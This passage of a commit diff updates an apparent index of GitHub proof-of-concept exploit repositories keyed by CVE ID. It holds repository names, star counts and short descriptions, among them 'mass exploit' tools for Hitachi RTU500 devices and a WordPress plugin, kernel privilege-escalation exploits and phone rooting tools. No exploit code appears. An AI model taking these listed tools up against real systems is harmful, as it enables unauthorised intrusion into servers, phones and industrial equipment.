"name": "CVE-2025-8088-WinRAR-PoC-2",
"full_name": "roof1948576qwd\/CVE-2025-8088-WinRAR-PoC-2",
"owner": {
"login": "roof1948576qwd",
"id": 318158098,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/318158098?v=4",
"html_url": "https:\/\/github.com\/roof1948576qwd",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/roof1948576qwd\/CVE-2025-8088-WinRAR-PoC-2",
"description": null,
"fork": false,
"created_at": "2026-09-29T09:45:40Z",
"updated_at": "2026-09-29T09:46:04Z",
"pushed_at": "2026-09-29T09:46:01Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
},
{
"id": 1394853137,
"name": "CVE-2025-8088-WinRAR-PoC-3",
"full_name": "roof1948576qwd\/CVE-2025-8088-WinRAR-PoC-3",
"owner": {
"login": "roof1948576qwd",
"id": 318158098,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/318158098?v=4",
"html_url": "https:\/\/github.com\/roof1948576qwd",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/roof1948576qwd\/CVE-2025-8088-WinRAR-PoC-3",
"description": null,
"fork": false,
"created_at": "2026-09-29T09:46:25Z",
"updated_at": "2026-09-29T09:46:49Z",
"pushed_at": "2026-09-29T09:46:45Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-12227.json
+4 -4
View File
@@ -80,10 +80,10 @@
"description": "CVE-2026-12227 is a critical (CVSS 9.8) unauthenticated Local File Inclusion (LFI) vulnerability in the Visual Composer Website Builder plugin for WordPress, affecting all versions up to and including 45.16.0, This can lead to sensitive data exposure, access control bypass, or even full Remote Code Execution (RCE).",
"fork": false,
"created_at": "2026-09-27T09:03:34Z",
"updated_at": "2026-09-27T09:10:13Z",
"updated_at": "2026-09-29T09:27:45Z",
"pushed_at": "2026-09-27T09:10:09Z",
"stargazers_count": 0,
"watchers_count": 0,
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
@@ -94,7 +94,7 @@
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"watchers": 1,
"score": 0,
"subscribers_count": 0
}
2026/CVE-2026-15409.json
+3 -3
View File
@@ -143,11 +143,11 @@
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/tc4dy\/CVE-2026-15409-15410-Framework",
"description": "CVE-2026-15409\/15410 SonicWall SMA1000 multi-exploit Framework 🔥 SSRF→Erlang RPC→RCE→root privesc. Features: --detect safe check, --exec, --read-file, --privesc, --rpc, interactive shell, batch threading, file write, ws-url override, pipe support.🛡️ KEV listed CVSS 10.0 actively exploited. Authorized testing only. Use Ethically, Stay Legal. 🔒",
"description": "CVE-2026-15409\/15410 SonicWall SMA1000 multi-exploit Framework - SSRF→Erlang RPC→RCE→root privesc. Features: --detect safe check, --exec, --read-file, --privesc, --rpc, interactive shell, batch threading, file write, ws-url override, pipe support. KEV listed CVSS 10.0 actively exploited. Authorized testing only. Use Ethically, Stay Legal. ",
"fork": false,
"created_at": "2026-07-17T17:30:02Z",
"updated_at": "2026-09-04T21:50:56Z",
"pushed_at": "2026-09-04T21:50:52Z",
"updated_at": "2026-09-29T13:26:52Z",
"pushed_at": "2026-09-29T13:26:27Z",
"stargazers_count": 5,
"watchers_count": 5,
"has_discussions": false,
2026/CVE-2026-15430.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "PoCs for Wellbia XIGNCODE3 anti-cheat xhunter driver family - xhunter1.sys v2023.12.7.78 and xhunter2.sys v2026.6.1.192 (CVE-2026-15430, CVE-2026-3609).",
"fork": false,
"created_at": "2026-08-05T10:03:50Z",
"updated_at": "2026-09-17T10:28:45Z",
"updated_at": "2026-09-29T11:53:40Z",
"pushed_at": "2026-08-07T07:33:26Z",
"stargazers_count": 15,
"watchers_count": 15,
"stargazers_count": 16,
"watchers_count": 16,
"has_discussions": false,
"forks_count": 11,
"allow_forking": true,
@@ -28,7 +28,7 @@
"topics": [],
"visibility": "public",
"forks": 11,
"watchers": 15,
"watchers": 16,
"score": 0,
"subscribers_count": 0
}
2026/CVE-2026-18110.json
+2 -2
View File
@@ -14,8 +14,8 @@
"description": "Proof-of-Concept for CVE-2026-18110",
"fork": false,
"created_at": "2026-09-28T13:29:53Z",
"updated_at": "2026-09-28T14:27:12Z",
"pushed_at": "2026-09-28T14:27:05Z",
"updated_at": "2026-09-29T10:01:34Z",
"pushed_at": "2026-09-29T10:01:25Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2026/CVE-2026-24088.json
+35
View File
@@ -0,0 +1,35 @@
[
{
"id": 1395084669,
"name": "POCO-M7-Plus-Jailbreak",
"full_name": "aniketlab\/POCO-M7-Plus-Jailbreak",
"owner": {
"login": "aniketlab",
"id": 89375908,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/89375908?v=4",
"html_url": "https:\/\/github.com\/aniketlab",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/aniketlab\/POCO-M7-Plus-Jailbreak",
"description": "Temporary Root Research on Poco M7 Plus (SM6375) via Qualcomm GBL Exploit (CVE-2026-24088) + GhostLock Kernel Analysis (CVE-2026-43499)",
"fork": false,
"created_at": "2026-09-29T11:41:09Z",
"updated_at": "2026-09-29T13:16:14Z",
"pushed_at": "2026-09-29T13:16:08Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-31431.json
+43 -10
View File
@@ -47,12 +47,12 @@
"description": "Copy Fail (CVE-2026-31431): 9-year-old Linux kernel LPE found by Theori's Xint Code",
"fork": false,
"created_at": "2026-04-29T12:15:28Z",
"updated_at": "2026-09-29T02:44:07Z",
"updated_at": "2026-09-29T07:58:49Z",
"pushed_at": "2026-04-29T21:21:46Z",
"stargazers_count": 4073,
"watchers_count": 4073,
"stargazers_count": 4074,
"watchers_count": 4074,
"has_discussions": false,
"forks_count": 911,
"forks_count": 912,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -71,8 +71,8 @@
"xint-code"
],
"visibility": "public",
"forks": 911,
"watchers": 4073,
"forks": 912,
"watchers": 4074,
"score": 0,
"subscribers_count": 34
},
@@ -1978,7 +1978,7 @@
"stargazers_count": 190,
"watchers_count": 190,
"has_discussions": false,
"forks_count": 26,
"forks_count": 27,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -1997,7 +1997,7 @@
"vulnerability"
],
"visibility": "public",
"forks": 26,
"forks": 27,
"watchers": 190,
"score": 0,
"subscribers_count": 0
@@ -7662,6 +7662,39 @@
"score": 0,
"subscribers_count": 0
},
{
"id": 1229884451,
"name": "CVE-2026-31431-Detect",
"full_name": "norvethil\/CVE-2026-31431-Detect",
"owner": {
"login": "norvethil",
"id": 73302674,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/73302674?v=4",
"html_url": "https:\/\/github.com\/norvethil",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/norvethil\/CVE-2026-31431-Detect",
"description": "Detection and remediation scripts for CVE-2026-31431 — a local privilege escalation vulnerability in the Linux kernel AF_ALG subsystem (algif_aead module).",
"fork": false,
"created_at": "2026-05-05T13:26:11Z",
"updated_at": "2026-09-29T12:26:10Z",
"pushed_at": "2026-05-05T13:36:11Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
},
{
"id": 1229910115,
"name": "cve-2026-31431",
@@ -8263,8 +8296,8 @@
"description": "Exploit CVE-2026-31431 on Linux using a Rust implementation to achieve local privilege escalation via an arbitrary page cache write primitive.",
"fork": false,
"created_at": "2026-05-06T09:49:14Z",
"updated_at": "2026-09-27T06:09:03Z",
"pushed_at": "2026-09-27T06:08:59Z",
"updated_at": "2026-09-29T09:29:53Z",
"pushed_at": "2026-09-29T09:29:48Z",
"stargazers_count": 3,
"watchers_count": 3,
"has_discussions": false,
2026/CVE-2026-31802.json
+2 -2
View File
@@ -59,8 +59,8 @@
"description": "Demonstrate and analyze the CVE-2026-31802 path traversal vulnerability in npm tar, enabling arbitrary file overwrite via symlink extraction.",
"fork": false,
"created_at": "2026-03-28T20:49:46Z",
"updated_at": "2026-09-27T06:02:53Z",
"pushed_at": "2026-09-27T06:02:50Z",
"updated_at": "2026-09-29T13:24:42Z",
"pushed_at": "2026-09-29T13:24:22Z",
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
2026/CVE-2026-34990.json
+5 -5
View File
@@ -47,10 +47,10 @@
"description": null,
"fork": false,
"created_at": "2026-09-27T09:58:34Z",
"updated_at": "2026-09-27T09:59:48Z",
"updated_at": "2026-09-29T09:44:15Z",
"pushed_at": "2026-09-27T09:59:45Z",
"stargazers_count": 0,
"watchers_count": 0,
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
@@ -61,7 +61,7 @@
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"watchers": 1,
"score": 0,
"subscribers_count": 0
},
@@ -288,7 +288,7 @@
"description": "Technical analysis and proof-of-concept research for CVE-2026-34990, a local privilege-escalation vulnerability affecting CUPS. This repository documents the vulnerability mechanics, CUPS\/IPP request flow, authentication-token disclosure, the localhost callback technique, and the subsequent privilege-escalation primitive.",
"fork": false,
"created_at": "2026-09-28T12:24:38Z",
"updated_at": "2026-09-28T15:07:04Z",
"updated_at": "2026-09-29T10:07:58Z",
"pushed_at": "2026-09-28T15:06:20Z",
"stargazers_count": 0,
"watchers_count": 0,
2026/CVE-2026-39987.json
+2 -2
View File
@@ -868,8 +868,8 @@
"description": "Reproduction and root cause analysis of CVE-2026-39987 Marimo pre-auth WebSocket RCE in a local Docker lab.",
"fork": false,
"created_at": "2026-09-27T11:07:39Z",
"updated_at": "2026-09-28T10:18:32Z",
"pushed_at": "2026-09-28T10:13:01Z",
"updated_at": "2026-09-29T09:18:53Z",
"pushed_at": "2026-09-29T09:18:49Z",
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
2026/CVE-2026-41089.json
+8 -8
View File
@@ -284,8 +284,8 @@
"description": "Scan Windows Domain Controllers for CVE-2026-41089 to detect unauthenticated remote code execution vulnerabilities in the Netlogon service.",
"fork": false,
"created_at": "2026-07-22T15:40:18Z",
"updated_at": "2026-09-29T04:34:34Z",
"pushed_at": "2026-09-29T04:34:30Z",
"updated_at": "2026-09-29T07:41:38Z",
"pushed_at": "2026-09-29T07:41:34Z",
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
@@ -376,10 +376,10 @@
"description": "CVE-2026-41089 Netlogon RCE PoC — security research, vulnerability validation & defensive testing.",
"fork": false,
"created_at": "2026-09-11T10:34:35Z",
"updated_at": "2026-09-20T03:48:57Z",
"updated_at": "2026-09-29T09:21:27Z",
"pushed_at": "2026-09-11T18:14:44Z",
"stargazers_count": 97,
"watchers_count": 97,
"stargazers_count": 88,
"watchers_count": 88,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
@@ -411,7 +411,7 @@
],
"visibility": "public",
"forks": 0,
"watchers": 97,
"watchers": 88,
"score": 0,
"subscribers_count": 2
},
@@ -430,8 +430,8 @@
"description": "Automate Netlogon CVE-2026-41089 validation and defensive testing through integrated AI security workflows, enabling rapid risk assessment and mitigation verification.",
"fork": false,
"created_at": "2026-09-21T23:18:09Z",
"updated_at": "2026-09-28T01:41:24Z",
"pushed_at": "2026-09-28T01:41:21Z",
"updated_at": "2026-09-29T09:41:16Z",
"pushed_at": "2026-09-29T09:41:12Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2026/CVE-2026-42978.json
+6 -6
View File
@@ -80,10 +80,10 @@
"description": "CVE-2026-42978 Windows Push Notifications (WpnService) Use-After-Free & Race Condition PoC research, diagnostic scanner, and security audit module for AI Security Tool.",
"fork": false,
"created_at": "2026-09-11T19:58:55Z",
"updated_at": "2026-09-27T21:51:56Z",
"updated_at": "2026-09-29T09:21:27Z",
"pushed_at": "2026-09-11T20:53:46Z",
"stargazers_count": 95,
"watchers_count": 95,
"stargazers_count": 86,
"watchers_count": 86,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
@@ -110,7 +110,7 @@
],
"visibility": "public",
"forks": 0,
"watchers": 95,
"watchers": 86,
"score": 0,
"subscribers_count": 2
},
@@ -129,8 +129,8 @@
"description": "Exploit and analyze CVE-2026-42978 with a Windows Push Notifications module for AI security, multi-protocol terminal, and autonomous agent suite.",
"fork": false,
"created_at": "2026-09-21T23:14:36Z",
"updated_at": "2026-09-29T04:39:30Z",
"pushed_at": "2026-09-29T04:39:27Z",
"updated_at": "2026-09-29T07:46:44Z",
"pushed_at": "2026-09-29T07:46:40Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2026/CVE-2026-42980.json
+2 -2
View File
@@ -19,7 +19,7 @@
"stargazers_count": 141,
"watchers_count": 141,
"has_discussions": false,
"forks_count": 38,
"forks_count": 39,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -27,7 +27,7 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 38,
"forks": 39,
"watchers": 141,
"score": 0,
"subscribers_count": 0
2026/CVE-2026-43284.json
+4 -4
View File
@@ -1320,10 +1320,10 @@
"description": "One-click temporary KernelSU root (late-load) for Samsung Galaxy via DirtyFrag (CVE-2026-43284). No Shizuku\/PC\/ADB.",
"fork": false,
"created_at": "2026-09-28T08:01:58Z",
"updated_at": "2026-09-29T04:47:12Z",
"updated_at": "2026-09-29T11:53:01Z",
"pushed_at": "2026-09-28T08:56:06Z",
"stargazers_count": 3,
"watchers_count": 3,
"stargazers_count": 5,
"watchers_count": 5,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
@@ -1334,7 +1334,7 @@
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 3,
"watchers": 5,
"score": 0,
"subscribers_count": 0
}
2026/CVE-2026-43499.json
+61 -28
View File
@@ -553,10 +553,10 @@
"description": "Vulnerability analysis and Proof of Concept (PoC) for CVE-2026-43499 affecting Xiaomi devices. For educational and research purposes only.",
"fork": false,
"created_at": "2026-07-14T14:21:27Z",
"updated_at": "2026-09-27T08:58:54Z",
"updated_at": "2026-09-29T13:11:44Z",
"pushed_at": "2026-07-30T11:28:07Z",
"stargazers_count": 102,
"watchers_count": 102,
"stargazers_count": 101,
"watchers_count": 101,
"has_discussions": false,
"forks_count": 30,
"allow_forking": true,
@@ -567,7 +567,7 @@
"topics": [],
"visibility": "public",
"forks": 30,
"watchers": 102,
"watchers": 101,
"score": 0,
"subscribers_count": 0
},
@@ -1048,10 +1048,10 @@
"description": "KSU installer for supported Samsung Galaxy firmware with CVE-2026-43499",
"fork": false,
"created_at": "2026-07-17T14:24:08Z",
"updated_at": "2026-09-29T04:43:19Z",
"updated_at": "2026-09-29T12:49:22Z",
"pushed_at": "2026-09-03T03:21:42Z",
"stargazers_count": 1308,
"watchers_count": 1308,
"stargazers_count": 1310,
"watchers_count": 1310,
"has_discussions": false,
"forks_count": 264,
"allow_forking": true,
@@ -1062,7 +1062,7 @@
"topics": [],
"visibility": "public",
"forks": 264,
"watchers": 1308,
"watchers": 1310,
"score": 0,
"subscribers_count": 38
},
@@ -1119,7 +1119,7 @@
"stargazers_count": 53,
"watchers_count": 53,
"has_discussions": true,
"forks_count": 16,
"forks_count": 17,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -1127,7 +1127,7 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 16,
"forks": 17,
"watchers": 53,
"score": 0,
"subscribers_count": 0
@@ -1152,7 +1152,7 @@
"stargazers_count": 16,
"watchers_count": 16,
"has_discussions": false,
"forks_count": 4,
"forks_count": 6,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -1168,7 +1168,7 @@
"security-research"
],
"visibility": "public",
"forks": 4,
"forks": 6,
"watchers": 16,
"score": 0,
"subscribers_count": 0
@@ -1595,10 +1595,10 @@
"description": null,
"fork": false,
"created_at": "2026-07-27T07:18:47Z",
"updated_at": "2026-08-21T14:33:56Z",
"updated_at": "2026-09-29T11:36:07Z",
"pushed_at": "2026-07-27T09:29:21Z",
"stargazers_count": 2,
"watchers_count": 2,
"stargazers_count": 3,
"watchers_count": 3,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
@@ -1609,7 +1609,7 @@
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 2,
"watchers": 3,
"score": 0,
"subscribers_count": 0
},
@@ -1661,10 +1661,10 @@
"description": "GhostLock One-Tap Execution App (CVE-2026-43499)",
"fork": false,
"created_at": "2026-07-29T05:04:25Z",
"updated_at": "2026-09-29T06:34:19Z",
"updated_at": "2026-09-29T13:52:32Z",
"pushed_at": "2026-09-29T04:42:14Z",
"stargazers_count": 1183,
"watchers_count": 1183,
"stargazers_count": 1196,
"watchers_count": 1196,
"has_discussions": false,
"forks_count": 352,
"allow_forking": true,
@@ -1675,7 +1675,7 @@
"topics": [],
"visibility": "public",
"forks": 352,
"watchers": 1183,
"watchers": 1196,
"score": 0,
"subscribers_count": 16
},
@@ -2597,10 +2597,10 @@
"description": "vivo\/iQOO 临时 root 工具箱 (免解锁临时root, CVE-2026-43499) - 源码与脚本",
"fork": false,
"created_at": "2026-08-12T10:05:38Z",
"updated_at": "2026-09-28T14:32:51Z",
"updated_at": "2026-09-29T09:14:57Z",
"pushed_at": "2026-08-12T10:05:44Z",
"stargazers_count": 34,
"watchers_count": 34,
"stargazers_count": 35,
"watchers_count": 35,
"has_discussions": false,
"forks_count": 3,
"allow_forking": true,
@@ -2611,7 +2611,7 @@
"topics": [],
"visibility": "public",
"forks": 3,
"watchers": 34,
"watchers": 35,
"score": 0,
"subscribers_count": 0
},
@@ -3400,10 +3400,10 @@
"description": "One-click root for vivo\/iQOO devices on locked bootloader | CVE-2026-43499 + KernelSU",
"fork": false,
"created_at": "2026-08-25T07:52:11Z",
"updated_at": "2026-09-27T09:20:03Z",
"updated_at": "2026-09-29T09:15:46Z",
"pushed_at": "2026-09-27T09:20:00Z",
"stargazers_count": 24,
"watchers_count": 24,
"stargazers_count": 25,
"watchers_count": 25,
"has_discussions": false,
"forks_count": 4,
"allow_forking": true,
@@ -3414,7 +3414,7 @@
"topics": [],
"visibility": "public",
"forks": 4,
"watchers": 24,
"watchers": 25,
"score": 0,
"subscribers_count": 0
},
@@ -5003,5 +5003,38 @@
"watchers": 6,
"score": 0,
"subscribers_count": 0
},
{
"id": 1394865762,
"name": "CVE-2026-43499",
"full_name": "shubhampathak65\/CVE-2026-43499",
"owner": {
"login": "shubhampathak65",
"id": 335446963,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/335446963?v=4",
"html_url": "https:\/\/github.com\/shubhampathak65",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/shubhampathak65\/CVE-2026-43499",
"description": "GhostLock futex-PI UAF LPE exploit for POCO M7 5G - kernel 5.10.226",
"fork": false,
"created_at": "2026-09-29T09:53:13Z",
"updated_at": "2026-09-29T10:03:31Z",
"pushed_at": "2026-09-29T10:03:27Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-45585.json
+4 -4
View File
@@ -212,8 +212,8 @@
"description": "Manage and recover BitLocker encrypted drives with this tool for Windows 11 recovery key management and educational study of CVE-2026-45585.",
"fork": false,
"created_at": "2026-06-16T07:21:36Z",
"updated_at": "2026-09-27T06:11:40Z",
"pushed_at": "2026-09-27T06:11:36Z",
"updated_at": "2026-09-29T09:32:17Z",
"pushed_at": "2026-09-29T09:32:13Z",
"stargazers_count": 7,
"watchers_count": 7,
"has_discussions": false,
@@ -264,8 +264,8 @@
"description": "Manage BitLocker encrypted drives on Windows. Extract recovery keys, check encryption status, and apply security mitigations for CVE-2026-45585.",
"fork": false,
"created_at": "2026-07-25T02:47:26Z",
"updated_at": "2026-09-27T06:14:49Z",
"pushed_at": "2026-09-27T06:14:46Z",
"updated_at": "2026-09-29T09:35:58Z",
"pushed_at": "2026-09-29T09:35:54Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2026/CVE-2026-49865.json
+1 -1
View File
@@ -14,7 +14,7 @@
"description": "PoC exploits for CVE-2026-52824 (GHSA-jr9p-4h4j-6c58) — Kimai time-tracking default APP_SECRET authentication bypass affecting versions ≤ 2.57.0",
"fork": false,
"created_at": "2026-07-30T05:40:52Z",
"updated_at": "2026-09-20T18:42:15Z",
"updated_at": "2026-09-29T13:13:16Z",
"pushed_at": "2026-09-20T18:42:11Z",
"stargazers_count": 0,
"watchers_count": 0,
2026/CVE-2026-56096.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "Proof of Concept and Write-up for CVE-2026-56096 (Blind Parameter Injection in TYPO3 EXT:solr)",
"fork": false,
"created_at": "2026-09-16T15:40:17Z",
"updated_at": "2026-09-28T11:07:15Z",
"updated_at": "2026-09-29T10:34:02Z",
"pushed_at": "2026-09-28T11:07:11Z",
"stargazers_count": 0,
"watchers_count": 0,
"stargazers_count": 3,
"watchers_count": 3,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
@@ -37,7 +37,7 @@
],
"visibility": "public",
"forks": 0,
"watchers": 0,
"watchers": 3,
"score": 0,
"subscribers_count": 0
}
2026/CVE-2026-57827.json
+2 -2
View File
@@ -61,8 +61,8 @@
"description": "Demonstrate the unauthenticated remote code execution vulnerability in the RSFiles! Joomla component through an arbitrary file upload.",
"fork": false,
"created_at": "2026-07-30T20:49:05Z",
"updated_at": "2026-09-27T06:15:39Z",
"pushed_at": "2026-09-27T06:15:36Z",
"updated_at": "2026-09-29T09:37:13Z",
"pushed_at": "2026-09-29T09:37:08Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2026/CVE-2026-6307.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "Google Chrome CVE-2026-6307 PoC",
"fork": false,
"created_at": "2026-07-01T13:23:25Z",
"updated_at": "2026-09-24T02:34:31Z",
"updated_at": "2026-09-29T08:26:19Z",
"pushed_at": "2026-07-01T13:32:36Z",
"stargazers_count": 64,
"watchers_count": 64,
"stargazers_count": 65,
"watchers_count": 65,
"has_discussions": false,
"forks_count": 14,
"allow_forking": true,
@@ -28,7 +28,7 @@
"topics": [],
"visibility": "public",
"forks": 14,
"watchers": 64,
"watchers": 65,
"score": 0,
"subscribers_count": 0
},
2026/CVE-2026-64560.json
+6 -6
View File
@@ -118,7 +118,7 @@
"stargazers_count": 9,
"watchers_count": 9,
"has_discussions": false,
"forks_count": 13,
"forks_count": 14,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -126,7 +126,7 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 13,
"forks": 14,
"watchers": 9,
"score": 0,
"subscribers_count": 0
@@ -212,10 +212,10 @@
"description": "OnePlus Ace 6 temporary root tool (CVE-2026-64560) - device-verified port with corrected bootidParent address",
"fork": false,
"created_at": "2026-09-26T12:31:39Z",
"updated_at": "2026-09-29T04:34:31Z",
"updated_at": "2026-09-29T13:35:57Z",
"pushed_at": "2026-09-29T02:59:57Z",
"stargazers_count": 2,
"watchers_count": 2,
"stargazers_count": 3,
"watchers_count": 3,
"has_discussions": false,
"forks_count": 3,
"allow_forking": true,
@@ -226,7 +226,7 @@
"topics": [],
"visibility": "public",
"forks": 3,
"watchers": 2,
"watchers": 3,
"score": 0,
"subscribers_count": 0
}
2026/CVE-2026-78306.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "DJI Drone DUML Command Injection over Bluetooth — Proof of Concept for CVE-2026-78306",
"fork": false,
"created_at": "2026-09-20T14:50:46Z",
"updated_at": "2026-09-29T03:12:13Z",
"updated_at": "2026-09-29T08:55:56Z",
"pushed_at": "2026-09-26T15:35:06Z",
"stargazers_count": 16,
"watchers_count": 16,
"stargazers_count": 17,
"watchers_count": 17,
"has_discussions": false,
"forks_count": 6,
"allow_forking": true,
@@ -28,7 +28,7 @@
"topics": [],
"visibility": "public",
"forks": 6,
"watchers": 16,
"watchers": 17,
"score": 0,
"subscribers_count": 0
},
2026/CVE-2026-80521.json
+6 -6
View File
@@ -14,12 +14,12 @@
"description": "container escape POCs for CVE-2026-80521 and CVE-2026-52910",
"fork": false,
"created_at": "2026-09-16T21:04:26Z",
"updated_at": "2026-09-26T02:13:28Z",
"updated_at": "2026-09-29T09:56:46Z",
"pushed_at": "2026-09-22T19:41:59Z",
"stargazers_count": 39,
"watchers_count": 39,
"stargazers_count": 41,
"watchers_count": 41,
"has_discussions": false,
"forks_count": 8,
"forks_count": 9,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -27,8 +27,8 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 8,
"watchers": 39,
"forks": 9,
"watchers": 41,
"score": 0,
"subscribers_count": 0
}
2026/CVE-2026-8065.json
+68
View File
@@ -0,0 +1,68 @@
[
{
"id": 1395308606,
"name": "CVE-2026-8065",
"full_name": "murrez\/CVE-2026-8065",
"owner": {
"login": "murrez",
"id": 50166320,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/50166320?v=4",
"html_url": "https:\/\/github.com\/murrez",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/murrez\/CVE-2026-8065",
"description": "CVE-2026-8065 PoC: Hitachi Energy RTU500 unauth firmware update bypass (CWE-306, CVSS 9.1). IoT\/OT colored check + mass exploit — RTU500 fingerprint, firmware endpoint probe, lab-safe upload test. https:\/\/pocbit.org\/pocs\/cve-2026-8065",
"fork": false,
"created_at": "2026-09-29T13:01:35Z",
"updated_at": "2026-09-29T13:02:57Z",
"pushed_at": "2026-09-29T13:02:19Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
},
{
"id": 1395337853,
"name": "CVE-2026-8065",
"full_name": "MRdark-ops\/CVE-2026-8065",
"owner": {
"login": "MRdark-ops",
"id": 145036159,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/145036159?v=4",
"html_url": "https:\/\/github.com\/MRdark-ops",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/MRdark-ops\/CVE-2026-8065",
"description": "CVE-2026-8065 PoC: Hitachi Energy RTU500 unauth firmware update bypass (CWE-306, CVSS 9.1). IoT\/OT colored check + mass exploit — RTU500 fingerprint, firmware endpoint probe, lab-safe upload test. https:\/\/pocbit.org\/pocs\/cve-2026-8065",
"fork": false,
"created_at": "2026-09-29T13:10:17Z",
"updated_at": "2026-09-29T13:11:04Z",
"pushed_at": "2026-09-29T13:10:51Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-82901.json
+33
View File
@@ -31,5 +31,38 @@
"watchers": 0,
"score": 0,
"subscribers_count": 0
},
{
"id": 1394786612,
"name": "CVE-2026-82901",
"full_name": "tonydelouvre\/CVE-2026-82901",
"owner": {
"login": "tonydelouvre",
"id": 112062269,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/112062269?v=4",
"html_url": "https:\/\/github.com\/tonydelouvre",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/tonydelouvre\/CVE-2026-82901",
"description": "CVE-2026-82901 — Ultra Addons for Contact Form 7 Mass Exploiter (GUI + CLI)",
"fork": false,
"created_at": "2026-09-29T09:05:24Z",
"updated_at": "2026-09-29T09:14:08Z",
"pushed_at": "2026-09-29T09:14:05Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-8452.json
+4 -4
View File
@@ -14,10 +14,10 @@
